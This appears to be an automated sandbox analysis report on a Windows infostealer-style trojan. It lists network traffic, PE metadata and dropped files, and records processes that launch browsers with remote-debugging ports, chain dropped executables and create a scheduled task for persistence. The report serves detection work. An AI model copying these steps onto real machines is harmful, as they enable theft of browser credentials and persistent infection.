Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.16:443 -> 192.168.2.6:50223 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: section name:
Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB2B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB2B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB2B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CACF280

Source: C:\Users\user\DocumentsKJECFHCBKK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC35A0	0_2_6CAC35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB234A0	0_2_6CB234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2C4A0	0_2_6CB2C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD6C80	0_2_6CAD6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06CF0	0_2_6CB06CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACD4E0	0_2_6CACD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD64C0	0_2_6CAD64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED4D0	0_2_6CAED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3542B	0_2_6CB3542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB05C10	0_2_6CB05C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB12C10	0_2_6CB12C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3AC00	0_2_6CB3AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5440	0_2_6CAD5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3545C	0_2_6CB3545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB285F0	0_2_6CB285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00DD0	0_2_6CB00DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADFD00	0_2_6CADFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF0512	0_2_6CAF0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEED10	0_2_6CAEED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB24EA0	0_2_6CB24EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2E680	0_2_6CB2E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5E90	0_2_6CAE5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB376E3	0_2_6CB376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACBEF0	0_2_6CACBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADFEF0	0_2_6CADFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB29E30	0_2_6CB29E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB07E10	0_2_6CB07E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15600	0_2_6CB15600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB36E63	0_2_6CB36E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACC670	0_2_6CACC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB03E50	0_2_6CB03E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4640	0_2_6CAE4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE9E50	0_2_6CAE9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB12E4E	0_2_6CB12E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB177A0	0_2_6CB177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACDFE0	0_2_6CACDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF6FF0	0_2_6CAF6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB07710	0_2_6CB07710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD9F00	0_2_6CAD9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF60A0	0_2_6CAF60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC0E0	0_2_6CAEC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB058E0	0_2_6CB058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB350C7	0_2_6CB350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B820	0_2_6CB0B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB14820	0_2_6CB14820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD7810	0_2_6CAD7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0F070	0_2_6CB0F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE8850	0_2_6CAE8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED850	0_2_6CAED850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACC9A0	0_2_6CACC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD9B0	0_2_6CAFD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB05190	0_2_6CB05190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22990	0_2_6CB22990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B970	0_2_6CB1B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B170	0_2_6CB3B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD960	0_2_6CADD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA940	0_2_6CAEA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB32AB0	0_2_6CB32AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC22A0	0_2_6CAC22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4AA0	0_2_6CAF4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADCAB0	0_2_6CADCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3BA90	0_2_6CB3BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0E2F0	0_2_6CB0E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE1AF0	0_2_6CAE1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB08AC0	0_2_6CB08AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB09A60	0_2_6CB09A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACF380	0_2_6CACF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB353C8	0_2_6CB353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0D320	0_2_6CB0D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC370	0_2_6CADC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC5340	0_2_6CAC5340
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002C8860	22_2_002C8860
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002C7049	22_2_002C7049
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002C78BB	22_2_002C78BB
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002C31A8	22_2_002C31A8
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_00284B30	22_2_00284B30
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002C2D10	22_2_002C2D10
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_00284DE0	22_2_00284DE0
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002B7F36	22_2_002B7F36
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002C779B	22_2_002C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001D7049	23_2_001D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001D8860	23_2_001D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001D78BB	23_2_001D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001D31A8	23_2_001D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00194B30	23_2_00194B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001D2D10	23_2_001D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00194DE0	23_2_00194DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001C7F36	23_2_001C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001D779B	23_2_001D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001D7049	24_2_001D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001D8860	24_2_001D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001D78BB	24_2_001D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001D31A8	24_2_001D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00194B30	24_2_00194B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001D2D10	24_2_001D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00194DE0	24_2_00194DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001C7F36	24_2_001C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001D779B	24_2_001D779B

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001ADF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001A80C0 appears 260 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB094D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAFCBE8 appears 134 times
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: String function: 002980C0 appears 130 times

Source: file.exe, 00000000.00000002.2691993412.000000006CD45000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: uafzsnka ZLIB complexity 0.9950627086424332
Source: random[1].exe.0.dr	Static PE information: Section: uafzsnka ZLIB complexity 0.9950627086424332

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@88/317@30/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB27030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB27030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\AAD842HQ.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\86a6a60e-a78b-488a-8d13-d90bb347149d.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2295654027.000000001D1B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2378416207.000000001D1D0000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKKECFHJKEBKEHI.0.dr, GCGCFCBAKKFBFIECAEBA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2691155496.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2212,i,7968163992587287453,17615020067299971596,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2132,i,10544505411866981642,738712716715978789,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2676 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7048 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7188 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6624 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6624 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJECFHCBKK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKJECFHCBKK.exe "C:\Users\user\DocumentsKJECFHCBKK.exe"
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
